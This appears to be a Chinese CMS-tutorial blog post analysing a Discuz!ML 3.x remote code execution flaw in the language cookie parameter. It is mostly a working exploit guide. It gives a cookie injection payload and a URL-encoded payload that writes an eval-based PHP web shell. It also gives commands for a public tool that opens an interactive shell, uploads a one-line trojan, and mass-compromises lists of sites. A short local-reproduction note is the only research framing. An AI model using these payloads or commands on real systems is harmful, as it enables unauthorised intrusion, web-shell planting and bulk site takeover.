您现在的位置是：首页 > cms教程 > Discuz教程Discuz教程

discuz!ml-3.x版本getshell漏洞分析

海莲2025-07-20Discuz教程已有人查阅

导读漏洞原因：Discuz!ML 系统对cookie中的l接收的language参数内容未过滤，导致字符串拼接，从而执行php代码。1.cookie字段中会出现xxxx_xxxx_language字段

影响范围：
discuz! ml v3.x全版本。
产生原因
漏洞原因：Discuz!ML 系统对cookie中的l接收的language参数内容未过滤，导致字符串拼接，从而执行php代码。
利用exp
1.cookie字段中会出现xxxx_xxxx_language字段，根本原因就是这个字段存在注入，导致的RCE
2.抓包找到cookie的language的值修改为xxxx_xxxx_language=sc'.phpinfo().'
3.getshell 的payload:
'.+file_put_contents('shell.php',urldecode('')).'
进行url编码：

%27.%2Bfile_put_contents%28%27shell.php%27%2Curldecode%28%27%253C%253Fphp%2520eval%2528%2524_POST%255B%25221%2522%255D%2529%253B%253F%253E%27%29%29.%27

即可在路径下生成shell.php，连接密码为1利用工具工具名叫：dz-ml-rce.py ，是用py2写的，可以在github上下载。
断是否存在漏洞：

python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"

获取交互式shell：

python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell

上传一句话木马getshell：

python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell

连接密码为“x”
批量检测:

python dz-ml-rce.py -f urls.txt

批量上马getshell:

python dz-ml-rce.py -f urls.txt --getshell

本地复现：
搭建好一个discuz!ml 版本的环境，我搭的是3.3版本的，下载源码后直接一键式建站，建完后访问主页：

http://127.0.0.1/discuz!ml3.3/upload/forum.php

然后用工具测试：发现存在此漏洞，那么直接获取个shell回来：此工具针对此漏洞还蛮好用的。

本文标签：

很赞哦！ ()

上一篇：Discuz!X3.1数据库的操作介绍

下一篇：解决Discuz论坛的Discuz.Cache.DNTCache 的AddObject()死循环

图文教程

相关源码

(自适应响应式)HTML5电脑手机电子数码产品配件pbootcms模板下载本模板为电脑配件、手机配件及数码周边产品企业设计，基于PbootCMS内核开发。采用现代化响应式布局，适配各类移动设备，能够专业展示各类电子产品配件参数、应用场景和技术特点。模板内置多种产品展示模块，满足不同类型配件企业的展示需求。查看源码
(自适应手机端)英文外贸电子产品通用pbootcms模板源码下载为电子产品外贸企业设计的响应式网站模板，采用PbootCMS开发内核，支持多语言展示。模板默认集成产品展示系统、询价表单模块和企业资质展示区，满足跨境贸易基础需求。整站采用模块化设计，便于扩展业务场景。查看源码
html5响应式pbootcms模板新闻资讯博客网站源码该模板采用PbootCMS内核开发，专为新闻资讯类网站打造，同时具备高度行业适配性--只需替换图文内容即可快速转型为企业官网、行业门户等各类站点。查看源码
(自适应)平面设计网络工作室个人作品展示网站模板免费下载基于PbootCMS内核开发的响应式网站模板，为设计工作室、创意机构打造的作品展示解决方案。通过模块化布局与极简交互设计，呈现设计作品的视觉细节，支持作品分类、案例解析等多维度展示方式。查看源码
(响应式)蓝色智能摄像头安防防盗电子设备免费pbootcms源码下载这是一款针对智能安防行业特点设计的网站模板，采用蓝色系配色方案，体现科技感和安全性。模板包含产品展示、解决方案、技术支持和新闻中心等核心模块，能够全面展示智能安防设备的技术特点和行业应用。查看源码
(自适应响应式)法律咨询律师事务所法务pbootcms源码下载为律师事务所、法律咨询机构设计，特别适合展示法律服务、律师团队和成功案例。采用响应式技术，确保在不同设备上都能提供专业的法律信息展示和咨询服务。查看源码